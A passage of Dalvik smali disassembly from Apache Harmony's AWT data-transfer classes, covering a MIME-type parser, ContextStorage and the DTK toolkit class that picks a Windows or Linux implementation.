00000038  move-result             v1
0000003A  add-int/lit8            v1, v1, 0xFFFFFFFFFFFFFFFE
0000003E  invoke-virtual          String->substring(I, I)String, p2, v0, v1
00000044  move-result-object      p2
:46
00000046  invoke-virtual          String->length()I, p2
0000004C  move-result             v0
0000004E  if-eqz                  v0, :8
:52
00000052  iget-object             v0, p0, MimeTypeProcessor$MimeType->parameters:Hashtable
00000056  invoke-virtual          Hashtable->put(Object, Object)Object, v0, p1, p2
0000005C  goto                    :8
.end method

.method addSystemParameter(String, Object)V
          .registers 4
00000000  iget-object             v0, p0, MimeTypeProcessor$MimeType->systemParameters:Hashtable
00000004  invoke-virtual          Hashtable->put(Object, Object)Object, v0, p1, p2
0000000A  return-void
.end method

.method public clone()Object
          .registers 4
00000000  new-instance            v1, MimeTypeProcessor$MimeType
00000004  iget-object             v0, p0, MimeTypeProcessor$MimeType->primaryType:String
00000008  iget-object             v2, p0, MimeTypeProcessor$MimeType->subType:String
0000000C  invoke-direct           MimeTypeProcessor$MimeType-><init>(String, String)V, v1, v0, v2
00000012  iget-object             v0, p0, MimeTypeProcessor$MimeType->parameters:Hashtable
00000016  invoke-virtual          Hashtable->clone()Object, v0
0000001C  move-result-object      v0
0000001E  check-cast              v0, Hashtable
00000022  iput-object             v0, v1, MimeTypeProcessor$MimeType->parameters:Hashtable
00000026  iget-object             v0, p0, MimeTypeProcessor$MimeType->systemParameters:Hashtable
0000002A  invoke-virtual          Hashtable->clone()Object, v0
00000030  move-result-object      v0
00000032  check-cast              v0, Hashtable
00000036  iput-object             v0, v1, MimeTypeProcessor$MimeType->systemParameters:Hashtable
0000003A  return-object           v1
.end method

.method equals(MimeTypeProcessor$MimeType)Z
          .registers 4
00000000  if-nez                  p1, :8
:4
00000004  const/4                 v0, 0x0
:6
00000006  return                  v0
:8
00000008  invoke-virtual          MimeTypeProcessor$MimeType->getFullType()String, p0
0000000E  move-result-object      v0
00000010  invoke-virtual          MimeTypeProcessor$MimeType->getFullType()String, p1
00000016  move-result-object      v1
00000018  invoke-virtual          String->equals(Object)Z, v0, v1
0000001E  move-result             v0
00000020  goto                    :6
.end method

.method getFullType()String
          .registers 3
00000000  new-instance            v0, StringBuilder
00000004  iget-object             v1, p0, MimeTypeProcessor$MimeType->primaryType:String
00000008  invoke-static           String->valueOf(Object)String, v1
0000000E  move-result-object      v1
00000010  invoke-direct           StringBuilder-><init>(String)V, v0, v1
00000016  const-string            v1, "/"
0000001A  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
00000020  move-result-object      v0
00000022  iget-object             v1, p0, MimeTypeProcessor$MimeType->subType:String
00000026  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
0000002C  move-result-object      v0
0000002E  invoke-virtual          StringBuilder->toString()String, v0
00000034  move-result-object      v0
00000036  return-object           v0
.end method

.method getParameter(String)String
          .registers 3
00000000  iget-object             v0, p0, MimeTypeProcessor$MimeType->parameters:Hashtable
00000004  invoke-virtual          Hashtable->get(Object)Object, v0, p1
0000000A  move-result-object      v0
0000000C  check-cast              v0, String
00000010  return-object           v0
.end method

.method getPrimaryType()String
          .registers 2
00000000  iget-object             v0, p0, MimeTypeProcessor$MimeType->primaryType:String
00000004  return-object           v0
.end method

.method getSubType()String
          .registers 2
00000000  iget-object             v0, p0, MimeTypeProcessor$MimeType->subType:String
00000004  return-object           v0
.end method

.method getSystemParameter(String)Object
          .registers 3
00000000  iget-object             v0, p0, MimeTypeProcessor$MimeType->systemParameters:Hashtable
00000004  invoke-virtual          Hashtable->get(Object)Object, v0, p1
0000000A  move-result-object      v0
0000000C  return-object           v0
.end method

.method removeParameter(String)V
          .registers 3
00000000  iget-object             v0, p0, MimeTypeProcessor$MimeType->parameters:Hashtable
00000004  invoke-virtual          Hashtable->remove(Object)Object, v0, p1
0000000A  return-void
.end method

#--------------------------------------------------------------------------------
.class final MimeTypeProcessor$StringPosition
.super Object
.source ""

.field i:I

.method private constructor <init>()V
          .registers 2
00000000  invoke-direct           Object-><init>()V, p0
00000006  const/4                 v0, 0x0
00000008  iput                    v0, p0, MimeTypeProcessor$StringPosition->i:I
0000000C  return-void
.end method

.method synthetic constructor <init>(MimeTypeProcessor$StringPosition)V
          .registers 2
00000000  invoke-direct           MimeTypeProcessor$StringPosition-><init>()V, p0
00000006  return-void
.end method

#--------------------------------------------------------------------------------
.class final MimeTypeProcessor
.super Object
.source ""

.field private static instance:MimeTypeProcessor

.method private constructor <init>()V
          .registers 1
00000000  invoke-direct           Object-><init>()V, p0
00000006  return-void
.end method

.method static assemble(MimeTypeProcessor$MimeType)String
          .registers 6
00000000  new-instance            v2, StringBuilder
00000004  invoke-direct           StringBuilder-><init>()V, v2
0000000A  invoke-virtual          MimeTypeProcessor$MimeType->getFullType()String, p0
00000010  move-result-object      v0
00000012  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v0
00000018  invoke-static           MimeTypeProcessor$MimeType->access$0(MimeTypeProcessor$MimeType)Hashtable, p0
0000001E  move-result-object      v0
00000020  invoke-virtual          Hashtable->keys()Enumeration, v0
00000026  move-result-object      v3
:28
00000028  invoke-interface        Enumeration->hasMoreElements()Z, v3
0000002E  move-result             v0
00000030  if-nez                  v0, :3E
:34
00000034  invoke-virtual          StringBuilder->toString()String, v2
0000003A  move-result-object      v0
0000003C  return-object           v0
:3E
0000003E  invoke-interface        Enumeration->nextElement()Object, v3
00000044  move-result-object      v0
00000046  check-cast              v0, String
0000004A  invoke-static           MimeTypeProcessor$MimeType->access$0(MimeTypeProcessor$MimeType)Hashtable, p0
00000050  move-result-object      v1
00000052  invoke-virtual          Hashtable->get(Object)Object, v1, v0
00000058  move-result-object      v1
0000005A  check-cast              v1, String
0000005E  const-string            v4, "; "
00000062  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v4
00000068  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v0
0000006E  const-string            v0, "=\""
00000072  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v0
00000078  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v1
0000007E  const/16                v0, 0x22
00000082  invoke-virtual          StringBuilder->append(C)StringBuilder, v2, v0
00000088  goto                    :28
.end method

.method private static getNextMeaningfulIndex(String, I)I
          .registers 3
00000000  invoke-virtual          String->length()I, p0
00000006  move-result             v0
00000008  if-ge                   p1, v0, :20
:C
0000000C  invoke-virtual          String->charAt(I)C, p0, p1
00000012  move-result             v0
00000014  invoke-static           MimeTypeProcessor->isMeaningfulChar(C)Z, v0
0000001A  move-result             v0
0000001C  if-eqz                  v0, :22
:20
00000020  return                  p1
:22
00000022  add-int/lit8            p1, p1, 0x1
00000026  goto                    :0
.end method

.method private static isMeaningfulChar(C)Z
          .registers 2
00000000  const/16                v0, 0x21
00000004  if-lt                   p0, v0, :14
:8
00000008  const/16                v0, 0x7E
0000000C  if-gt                   p0, v0, :14
:10
00000010  const/4                 v0, 0x1
:12
00000012  return                  v0
:14
00000014  const/4                 v0, 0x0
00000016  goto                    :12
.end method

.method private static isTSpecialChar(C)Z
          .registers 2
00000000  const/16                v0, 0x28
00000004  if-eq                   p0, v0, :7C
:8
00000008  const/16                v0, 0x29
0000000C  if-eq                   p0, v0, :7C
:10
00000010  const/16                v0, 0x5B
00000014  if-eq                   p0, v0, :7C
:18
00000018  const/16                v0, 0x5D
0000001C  if-eq                   p0, v0, :7C
:20
00000020  const/16                v0, 0x3C
00000024  if-eq                   p0, v0, :7C
:28
00000028  const/16                v0, 0x3E
0000002C  if-eq                   p0, v0, :7C
:30
00000030  const/16                v0, 0x40
00000034  if-eq                   p0, v0, :7C
:38
00000038  const/16                v0, 0x2C
0000003C  if-eq                   p0, v0, :7C
:40
00000040  const/16                v0, 0x3B
00000044  if-eq                   p0, v0, :7C
:48
00000048  const/16                v0, 0x3A
0000004C  if-eq                   p0, v0, :7C
:50
00000050  const/16                v0, 0x5C
00000054  if-eq                   p0, v0, :7C
:58
00000058  const/16                v0, 0x22
0000005C  if-eq                   p0, v0, :7C
:60
00000060  const/16                v0, 0x2F
00000064  if-eq                   p0, v0, :7C
:68
00000068  const/16                v0, 0x3F
0000006C  if-eq                   p0, v0, :7C
:70
00000070  const/16                v0, 0x3D
00000074  if-eq                   p0, v0, :7C
:78
00000078  const/4                 v0, 0x0
:7A
0000007A  return                  v0
:7C
0000007C  const/4                 v0, 0x1
0000007E  goto                    :7A
.end method

.method static parse(String)MimeTypeProcessor$MimeType
          .registers 4
00000000  sget-object             v0, MimeTypeProcessor->instance:MimeTypeProcessor
00000004  if-nez                  v0, :16
:8
00000008  new-instance            v0, MimeTypeProcessor
0000000C  invoke-direct           MimeTypeProcessor-><init>()V, v0
00000012  sput-object             v0, MimeTypeProcessor->instance:MimeTypeProcessor
:16
00000016  new-instance            v0, MimeTypeProcessor$MimeType
0000001A  invoke-direct           MimeTypeProcessor$MimeType-><init>()V, v0
00000020  if-eqz                  p0, :3C
:24
00000024  new-instance            v1, MimeTypeProcessor$StringPosition
00000028  const/4                 v2, 0x0
0000002A  invoke-direct           MimeTypeProcessor$StringPosition-><init>(MimeTypeProcessor$StringPosition)V, v1, v2
00000030  invoke-static           MimeTypeProcessor->retrieveType(String, MimeTypeProcessor$MimeType, MimeTypeProcessor$StringPosition)V, p0, v0, v1
00000036  invoke-static           MimeTypeProcessor->retrieveParams(String, MimeTypeProcessor$MimeType, MimeTypeProcessor$StringPosition)V, p0, v0, v1
:3C
0000003C  return-object           v0
.end method

.method private static retrieveParam(String, MimeTypeProcessor$MimeType, MimeTypeProcessor$StringPosition)V
          .registers 6
00000000  invoke-static           MimeTypeProcessor->retrieveToken(String, MimeTypeProcessor$StringPosition)String, p0, p2
00000006  move-result-object      v0
00000008  invoke-virtual          String->toLowerCase()String, v0
0000000E  move-result-object      v1
00000010  iget                    v0, p2, MimeTypeProcessor$StringPosition->i:I
00000014  invoke-static           MimeTypeProcessor->getNextMeaningfulIndex(String, I)I, p0, v0
0000001A  move-result             v0
0000001C  iput                    v0, p2, MimeTypeProcessor$StringPosition->i:I
00000020  iget                    v0, p2, MimeTypeProcessor$StringPosition->i:I
00000024  invoke-virtual          String->length()I, p0
0000002A  move-result             v2
0000002C  if-ge                   v0, v2, :44
:30
00000030  iget                    v0, p2, MimeTypeProcessor$StringPosition->i:I
00000034  invoke-virtual          String->charAt(I)C, p0, v0
0000003A  move-result             v0
0000003C  const/16                v2, 0x3D
00000040  if-eq                   v0, v2, :50
:44
00000044  new-instance            v0, IllegalArgumentException
00000048  invoke-direct           IllegalArgumentException-><init>()V, v0
0000004E  throw                   v0
:50
00000050  iget                    v0, p2, MimeTypeProcessor$StringPosition->i:I
00000054  add-int/lit8            v0, v0, 0x1
00000058  iput                    v0, p2, MimeTypeProcessor$StringPosition->i:I
0000005C  iget                    v0, p2, MimeTypeProcessor$StringPosition->i:I
00000060  invoke-static           MimeTypeProcessor->getNextMeaningfulIndex(String, I)I, p0, v0
00000066  move-result             v0
00000068  iput                    v0, p2, MimeTypeProcessor$StringPosition->i:I
0000006C  iget                    v0, p2, MimeTypeProcessor$StringPosition->i:I
00000070  invoke-virtual          String->length()I, p0
00000076  move-result             v2
00000078  if-lt                   v0, v2, :88
:7C
0000007C  new-instance            v0, IllegalArgumentException
00000080  invoke-direct           IllegalArgumentException-><init>()V, v0
00000086  throw                   v0
:88
00000088  iget                    v0, p2, MimeTypeProcessor$StringPosition->i:I
0000008C  invoke-virtual          String->charAt(I)C, p0, v0
00000092  move-result             v0
00000094  const/16                v2, 0x22
00000098  if-ne                   v0, v2, :B4
:9C
0000009C  invoke-static           MimeTypeProcessor->retrieveQuoted(String, MimeTypeProcessor$StringPosition)String, p0, p2
000000A2  move-result-object      v0
:A4
000000A4  invoke-static           MimeTypeProcessor$MimeType->access$0(MimeTypeProcessor$MimeType)Hashtable, p1
000000AA  move-result-object      v2
000000AC  invoke-virtual          Hashtable->put(Object, Object)Object, v2, v1, v0
000000B2  return-void
:B4
000000B4  invoke-static           MimeTypeProcessor->retrieveToken(String, MimeTypeProcessor$StringPosition)String, p0, p2
000000BA  move-result-object      v0
000000BC  goto                    :A4
.end method

.method private static retrieveParams(String, MimeTypeProcessor$MimeType, MimeTypeProcessor$StringPosition)V
          .registers 5
00000000  new-instance            v0, Hashtable
00000004  invoke-direct           Hashtable-><init>()V, v0
0000000A  invoke-static           MimeTypeProcessor$MimeType->access$3(MimeTypeProcessor$MimeType, Hashtable)V, p1, v0
00000010  new-instance            v0, Hashtable
00000014  invoke-direct           Hashtable-><init>()V, v0
0000001A  invoke-static           MimeTypeProcessor$MimeType->access$4(MimeTypeProcessor$MimeType, Hashtable)V, p1, v0
:20
00000020  iget                    v0, p2, MimeTypeProcessor$StringPosition->i:I
00000024  invoke-static           MimeTypeProcessor->getNextMeaningfulIndex(String, I)I, p0, v0
0000002A  move-result             v0
0000002C  iput                    v0, p2, MimeTypeProcessor$StringPosition->i:I
00000030  iget                    v0, p2, MimeTypeProcessor$StringPosition->i:I
00000034  invoke-virtual          String->length()I, p0
0000003A  move-result             v1
0000003C  if-lt                   v0, v1, :42
:40
00000040  return-void
:42
00000042  iget                    v0, p2, MimeTypeProcessor$StringPosition->i:I
00000046  invoke-virtual          String->charAt(I)C, p0, v0
0000004C  move-result             v0
0000004E  const/16                v1, 0x3B
00000052  if-eq                   v0, v1, :62
:56
00000056  new-instance            v0, IllegalArgumentException
0000005A  invoke-direct           IllegalArgumentException-><init>()V, v0
00000060  throw                   v0
:62
00000062  iget                    v0, p2, MimeTypeProcessor$StringPosition->i:I
00000066  add-int/lit8            v0, v0, 0x1
0000006A  iput                    v0, p2, MimeTypeProcessor$StringPosition->i:I
0000006E  invoke-static           MimeTypeProcessor->retrieveParam(String, MimeTypeProcessor$MimeType, MimeTypeProcessor$StringPosition)V, p0, p1, p2
00000074  goto                    :20
.end method

.method private static retrieveQuoted(String, MimeTypeProcessor$StringPosition)String
          .registers 7
00000000  const/4                 v1, 0x1
00000002  new-instance            v2, StringBuilder
00000006  invoke-direct           StringBuilder-><init>()V, v2
0000000C  iget                    v0, p1, MimeTypeProcessor$StringPosition->i:I
00000010  add-int/lit8            v0, v0, 0x1
00000014  iput                    v0, p1, MimeTypeProcessor$StringPosition->i:I
00000018  move                    v0, v1
:1A
0000001A  iget                    v3, p1, MimeTypeProcessor$StringPosition->i:I
0000001E  invoke-virtual          String->charAt(I)C, p0, v3
00000024  move-result             v3
00000026  const/16                v4, 0x22
0000002A  if-ne                   v3, v4, :48
:2E
0000002E  if-eqz                  v0, :48
:32
00000032  iget                    v0, p1, MimeTypeProcessor$StringPosition->i:I
00000036  add-int/lit8            v0, v0, 0x1
0000003A  iput                    v0, p1, MimeTypeProcessor$StringPosition->i:I
0000003E  invoke-virtual          StringBuilder->toString()String, v2
00000044  move-result-object      v0
00000046  return-object           v0
:48
00000048  iget                    v3, p1, MimeTypeProcessor$StringPosition->i:I
0000004C  add-int/lit8            v4, v3, 0x1
00000050  iput                    v4, p1, MimeTypeProcessor$StringPosition->i:I
00000054  invoke-virtual          String->charAt(I)C, p0, v3
0000005A  move-result             v3
0000005C  if-nez                  v0, :88
:60
00000060  move                    v0, v1
:62
00000062  if-eqz                  v0, :6C
:66
00000066  invoke-virtual          StringBuilder->append(C)StringBuilder, v2, v3
:6C
0000006C  iget                    v3, p1, MimeTypeProcessor$StringPosition->i:I
00000070  invoke-virtual          String->length()I, p0
00000076  move-result             v4
00000078  if-ne                   v3, v4, :1A
:7C
0000007C  new-instance            v0, IllegalArgumentException
00000080  invoke-direct           IllegalArgumentException-><init>()V, v0
00000086  throw                   v0
:88
00000088  const/16                v4, 0x5C
0000008C  if-ne                   v3, v4, :62
:90
00000090  const/4                 v0, 0x0
00000092  goto                    :62
.end method

.method private static retrieveToken(String, MimeTypeProcessor$StringPosition)String
          .registers 5
00000000  new-instance            v0, StringBuilder
00000004  invoke-direct           StringBuilder-><init>()V, v0
0000000A  iget                    v1, p1, MimeTypeProcessor$StringPosition->i:I
0000000E  invoke-static           MimeTypeProcessor->getNextMeaningfulIndex(String, I)I, p0, v1
00000014  move-result             v1
00000016  iput                    v1, p1, MimeTypeProcessor$StringPosition->i:I
0000001A  iget                    v1, p1, MimeTypeProcessor$StringPosition->i:I
0000001E  invoke-virtual          String->length()I, p0
00000024  move-result             v2
00000026  if-ge                   v1, v2, :42
:2A
0000002A  iget                    v1, p1, MimeTypeProcessor$StringPosition->i:I
0000002E  invoke-virtual          String->charAt(I)C, p0, v1
00000034  move-result             v1
00000036  invoke-static           MimeTypeProcessor->isTSpecialChar(C)Z, v1
0000003C  move-result             v1
0000003E  if-eqz                  v1, :4E
:42
00000042  new-instance            v0, IllegalArgumentException
00000046  invoke-direct           IllegalArgumentException-><init>()V, v0
0000004C  throw                   v0
:4E
0000004E  iget                    v1, p1, MimeTypeProcessor$StringPosition->i:I
00000052  add-int/lit8            v2, v1, 0x1
00000056  iput                    v2, p1, MimeTypeProcessor$StringPosition->i:I
0000005A  invoke-virtual          String->charAt(I)C, p0, v1
00000060  move-result             v1
00000062  invoke-virtual          StringBuilder->append(C)StringBuilder, v0, v1
00000068  iget                    v1, p1, MimeTypeProcessor$StringPosition->i:I
0000006C  invoke-virtual          String->length()I, p0
00000072  move-result             v2
00000074  if-ge                   v1, v2, :A8
:78
00000078  iget                    v1, p1, MimeTypeProcessor$StringPosition->i:I
0000007C  invoke-virtual          String->charAt(I)C, p0, v1
00000082  move-result             v1
00000084  invoke-static           MimeTypeProcessor->isMeaningfulChar(C)Z, v1
0000008A  move-result             v1
0000008C  if-eqz                  v1, :A8
:90
00000090  iget                    v1, p1, MimeTypeProcessor$StringPosition->i:I
00000094  invoke-virtual          String->charAt(I)C, p0, v1
0000009A  move-result             v1
0000009C  invoke-static           MimeTypeProcessor->isTSpecialChar(C)Z, v1
000000A2  move-result             v1
000000A4  if-eqz                  v1, :4E
:A8
000000A8  invoke-virtual          StringBuilder->toString()String, v0
000000AE  move-result-object      v0
000000B0  return-object           v0
.end method

.method private static retrieveType(String, MimeTypeProcessor$MimeType, MimeTypeProcessor$StringPosition)V
          .registers 5
00000000  invoke-static           MimeTypeProcessor->retrieveToken(String, MimeTypeProcessor$StringPosition)String, p0, p2
00000006  move-result-object      v0
00000008  invoke-virtual          String->toLowerCase()String, v0
0000000E  move-result-object      v0
00000010  invoke-static           MimeTypeProcessor$MimeType->access$1(MimeTypeProcessor$MimeType, String)V, p1, v0
00000016  iget                    v0, p2, MimeTypeProcessor$StringPosition->i:I
0000001A  invoke-static           MimeTypeProcessor->getNextMeaningfulIndex(String, I)I, p0, v0
00000020  move-result             v0
00000022  iput                    v0, p2, MimeTypeProcessor$StringPosition->i:I
00000026  iget                    v0, p2, MimeTypeProcessor$StringPosition->i:I
0000002A  invoke-virtual          String->length()I, p0
00000030  move-result             v1
00000032  if-ge                   v0, v1, :4A
:36
00000036  iget                    v0, p2, MimeTypeProcessor$StringPosition->i:I
0000003A  invoke-virtual          String->charAt(I)C, p0, v0
00000040  move-result             v0
00000042  const/16                v1, 0x2F
00000046  if-eq                   v0, v1, :56
:4A
0000004A  new-instance            v0, IllegalArgumentException
0000004E  invoke-direct           IllegalArgumentException-><init>()V, v0
00000054  throw                   v0
:56
00000056  iget                    v0, p2, MimeTypeProcessor$StringPosition->i:I
0000005A  add-int/lit8            v0, v0, 0x1
0000005E  iput                    v0, p2, MimeTypeProcessor$StringPosition->i:I
00000062  invoke-static           MimeTypeProcessor->retrieveToken(String, MimeTypeProcessor$StringPosition)String, p0, p2
00000068  move-result-object      v0
0000006A  invoke-virtual          String->toLowerCase()String, v0
00000070  move-result-object      v0
00000072  invoke-static           MimeTypeProcessor$MimeType->access$2(MimeTypeProcessor$MimeType, String)V, p1, v0
00000078  return-void
.end method

#--------------------------------------------------------------------------------
.class public UnsupportedFlavorException
.super Exception
.source ""

.field private static final serialVersionUID:J = 0x4AB7272AC88F5CC1L

.method public constructor <init>(DataFlavor)V
          .registers 4
00000000  new-instance            v0, StringBuilder
00000004  const-string            v1, "flavor = "
00000008  invoke-direct           StringBuilder-><init>(String)V, v0, v1
0000000E  invoke-static           String->valueOf(Object)String, p1
00000014  move-result-object      v1
00000016  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
0000001C  move-result-object      v0
0000001E  invoke-virtual          StringBuilder->toString()String, v0
00000024  move-result-object      v0
00000026  invoke-direct           Exception-><init>(String)V, p0, v0
0000002C  return-void
.end method

#--------------------------------------------------------------------------------
.class ContextStorage$ContextLock
.super Object
.source ""

.field final synthetic this$0:ContextStorage

.method private constructor <init>(ContextStorage)V
          .registers 2
00000000  iput-object             p1, p0, ContextStorage$ContextLock->this$0:ContextStorage
00000004  invoke-direct           Object-><init>()V, p0
0000000A  return-void
.end method

.method synthetic constructor <init>(ContextStorage, ContextStorage$ContextLock)V
          .registers 3
00000000  invoke-direct           ContextStorage$ContextLock-><init>(ContextStorage)V, p0, p1
00000006  return-void
.end method

#--------------------------------------------------------------------------------
.class public final ContextStorage
.super Object
.source ""

.field private static final globalContext:ContextStorage
.field private final contextLock:Object
.field private dtk:DTK
.field private graphicsEnvironment:GraphicsEnvironment
.field private volatile bridge shutdownPending:Z
.field private toolkit:Toolkit

.method static constructor <clinit>()V
          .registers 1
00000000  new-instance            v0, ContextStorage
00000004  invoke-direct           ContextStorage-><init>()V, v0
0000000A  sput-object             v0, ContextStorage->globalContext:ContextStorage
0000000E  return-void
.end method

.method public constructor <init>()V
          .registers 3
00000000  invoke-direct           Object-><init>()V, p0
00000006  const/4                 v0, 0x0
00000008  iput-boolean            v0, p0, ContextStorage->shutdownPending:Z
0000000C  new-instance            v0, ContextStorage$ContextLock
00000010  const/4                 v1, 0x0
00000012  invoke-direct           ContextStorage$ContextLock-><init>(ContextStorage, ContextStorage$ContextLock)V, v0, p0, v1
00000018  iput-object             v0, p0, ContextStorage->contextLock:Object
0000001C  return-void
.end method

.method public static getContextLock()Object
          .registers 1
00000000  invoke-static           ContextStorage->getCurrentContext()ContextStorage
00000006  move-result-object      v0
00000008  iget-object             v0, v0, ContextStorage->contextLock:Object
0000000C  return-object           v0
.end method

.method private static getCurrentContext()ContextStorage
          .registers 1
00000000  sget-object             v0, ContextStorage->globalContext:ContextStorage
00000004  return-object           v0
.end method

.method public static getDTK()DTK
          .registers 1
00000000  invoke-static           ContextStorage->getCurrentContext()ContextStorage
00000006  move-result-object      v0
00000008  iget-object             v0, v0, ContextStorage->dtk:DTK
0000000C  return-object           v0
.end method

.method public static getDefaultToolkit()Toolkit
          .registers 1
00000000  invoke-static           ContextStorage->getCurrentContext()ContextStorage
00000006  move-result-object      v0
00000008  iget-object             v0, v0, ContextStorage->toolkit:Toolkit
0000000C  return-object           v0
.end method

.method public static getGraphicsEnvironment()GraphicsEnvironment
          .registers 1
00000000  invoke-static           ContextStorage->getCurrentContext()ContextStorage
00000006  move-result-object      v0
00000008  iget-object             v0, v0, ContextStorage->graphicsEnvironment:GraphicsEnvironment
0000000C  return-object           v0
.end method

.method public static setDTK(DTK)V
          .registers 2
00000000  invoke-static           ContextStorage->getCurrentContext()ContextStorage
00000006  move-result-object      v0
00000008  iput-object             p0, v0, ContextStorage->dtk:DTK
0000000C  return-void
.end method

.method public static setDefaultToolkit(Toolkit)V
          .registers 2
00000000  invoke-static           ContextStorage->getCurrentContext()ContextStorage
00000006  move-result-object      v0
00000008  iput-object             p0, v0, ContextStorage->toolkit:Toolkit
0000000C  return-void
.end method

.method public static setGraphicsEnvironment(GraphicsEnvironment)V
          .registers 2
00000000  invoke-static           ContextStorage->getCurrentContext()ContextStorage
00000006  move-result-object      v0
00000008  iput-object             p0, v0, ContextStorage->graphicsEnvironment:GraphicsEnvironment
0000000C  return-void
.end method

.method public static shutdownPending()Z
          .registers 1
00000000  invoke-static           ContextStorage->getCurrentContext()ContextStorage
00000006  move-result-object      v0
00000008  iget-boolean            v0, v0, ContextStorage->shutdownPending:Z
0000000C  return                  v0
.end method

.method shutdown()V
          .registers 1
00000000  return-void
.end method

#--------------------------------------------------------------------------------
.class public abstract DTK
.super Object
.source ""

.field protected final dataTransferThread:DataTransferThread
.field private nativeClipboard:NativeClipboard
.field private nativeSelection:NativeClipboard
.field protected systemFlavorMap:SystemFlavorMap

.method protected constructor <init>()V
          .registers 2
00000000  const/4                 v0, 0x0
00000002  invoke-direct           Object-><init>()V, p0
00000008  iput-object             v0, p0, DTK->nativeClipboard:NativeClipboard
0000000C  iput-object             v0, p0, DTK->nativeSelection:NativeClipboard
00000010  new-instance            v0, DataTransferThread
00000014  invoke-direct           DataTransferThread-><init>(DTK)V, v0, p0
0000001A  iput-object             v0, p0, DTK->dataTransferThread:DataTransferThread
0000001E  iget-object             v0, p0, DTK->dataTransferThread:DataTransferThread
00000022  invoke-virtual          DataTransferThread->start()V, v0
00000028  return-void
.end method

.method private static createDTK()DTK
          .registers 2
00000000  invoke-static           SystemUtils->getOS()I
00000006  move-result             v0
00000008  packed-switch           v0, :54
:E
0000000E  new-instance            v0, RuntimeException
00000012  const-string            v1, "awt.4E"
00000016  invoke-static           Messages->getString(String)String, v1
0000001C  move-result-object      v1
0000001E  invoke-direct           RuntimeException-><init>(String)V, v0, v1
00000024  throw                   v0
:26
00000026  const-string            v0, "org.apache.harmony.awt.datatransfer.windows.WinDTK"
:2A
0000002A  invoke-static           Class->forName(String)Class, v0
00000030  move-result-object      v0
00000032  invoke-virtual          Class->newInstance()Object, v0
00000038  move-result-object      v0
0000003A  check-cast              v0, DTK
:3E
0000003E  return-object           v0
:40
00000040  const-string            v0, "org.apache.harmony.awt.datatransfer.linux.LinuxDTK"
00000044  goto                    :2A
:46
00000046  move-exception          v0
00000048  new-instance            v1, RuntimeException
0000004C  invoke-direct           RuntimeException-><init>(Throwable)V, v1, v0
00000052  throw                   v1
          .catch Exception {:2A .. :3E} :46
00000054  .packed-switch 0x1
              :26
              :40
          .end packed-switch
.end method

.method public static getDTK()DTK
          .registers 2
00000000  invoke-static           ContextStorage->getContextLock()Object
00000006  move-result-object      v1
00000008  monitor-enter           v1
:A
0000000A  invoke-static           ContextStorage->shutdownPending()Z
00000010  move-result             v0
00000012  if-eqz                  v0, :1C
:16
00000016  monitor-exit            v1
00000018  const/4                 v0, 0x0
:1A
0000001A  return-object           v0
:1C
0000001C  invoke-static           ContextStorage->getDTK()DTK
00000022  move-result-object      v0
00000024  if-nez                  v0, :36
:28
00000028  invoke-static           DTK->createDTK()DTK
0000002E  move-result-object      v0
00000030  invoke-static           ContextStorage->setDTK(DTK)V, v0
:36
00000036  monitor-exit            v1
00000038  goto                    :1A
:3A
0000003A  move-exception          v0
0000003C  monitor-exit            v1
:3E
0000003E  throw                   v0
          .catchall {:A .. :3E} :3A
.end method

.method protected appendSystemFlavorMap(SystemFlavorMap, DataFlavor, String)V
          .registers 4
00000000  invoke-virtual          SystemFlavorMap->addFlavorForUnencodedNative(String, DataFlavor)V, p1, p3, p2
00000006  invoke-virtual          SystemFlavorMap->addUnencodedNativeForFlavor(DataFlavor, String)V, p1, p2, p3
0000000C  return-void
.end method

.method protected appendSystemFlavorMap(SystemFlavorMap, [String, String, String)V
          .registers 7
00000000  invoke-static           TextFlavor->addUnicodeClasses(SystemFlavorMap, String, String)V, p1, p4, p3
00000006  const/4                 v0, 0x0
:8
00000008  array-length            v1, p2
0000000A  if-lt                   v0, v1, :10
:E
0000000E  return-void
:10
00000010  aget-object             v1, p2, v0
00000014  if-eqz                  v1, :32
:18
00000018  aget-object             v1, p2, v0
0000001C  invoke-static           Charset->isSupported(String)Z, v1
00000022  move-result             v1
00000024  if-eqz                  v1, :32
:28
00000028  aget-object             v1, p2, v0
0000002C  invoke-static           TextFlavor->addCharsetClasses(SystemFlavorMap, String, String, String)V, p1, p4, p3, v1
:32
00000032  add-int/lit8            v0, v0, 0x1
00000036  goto                    :8
.end method

.method public abstract createDragSourceContextPeer(DragGestureEvent)DragSourceContextPeer
.end method

.method public abstract createDropTargetContextPeer(DropTargetContext)DropTargetContextPeer
.end method

.method protected getCharsets()[String
          .registers 4
00000000  const/4                 v0, 0x5
00000002  new-array               v0, v0, [String
00000006  const/4                 v1, 0x0
00000008  const-string            v2, "UTF-16"
0000000C  aput-object             v2, v0, v1
00000010  const/4                 v1, 0x1
00000012  const-string            v2, "UTF-8"
00000016  aput-object             v2, v0, v1
0000001A  const/4                 v1, 0x2
0000001C  const-string            v2, "unicode"
00000020  aput-object             v2, v0, v1
00000024  const/4                 v1, 0x3
00000026  const-string            v2, "ISO-8859-1"
0000002A  aput-object             v2, v0, v1
0000002E  const/4                 v1, 0x4
00000030  const-string            v2, "US-ASCII"
00000034  aput-object             v2, v0, v1
00000038  return-object           v0
.end method

.method public getDefaultCharset()String
          .registers 2
00000000  const-string            v0, "unicode"
00000004  return-object           v0
.end method

.method public getNativeClipboard()NativeClipboard
          .registers 2
00000000  iget-object             v0, p0, DTK->nativeClipboard:NativeClipboard
00000004  if-nez                  v0, :14
:8
00000008  invoke-virtual          DTK->newNativeClipboard()NativeClipboard, p0
0000000E  move-result-object      v0
00000010  iput-object             v0, p0, DTK->nativeClipboard:NativeClipboard
:14
00000014  iget-object             v0, p0, DTK->nativeClipboard:NativeClipboard
00000018  return-object           v0
.end method

.method public getNativeSelection()NativeClipboard
          .registers 2
00000000  iget-object             v0, p0, DTK->nativeSelection:NativeClipboard
00000004  if-nez                  v0, :14
:8
00000008  invoke-virtual          DTK->newNativeSelection()NativeClipboard, p0
0000000E  move-result-object      v0
00000010  iput-object             v0, p0, DTK->nativeSelection:NativeClipboard
:14
00000014  iget-object             v0, p0, DTK->nativeSelection:NativeClipboard
00000018  return-object           v0
.end method

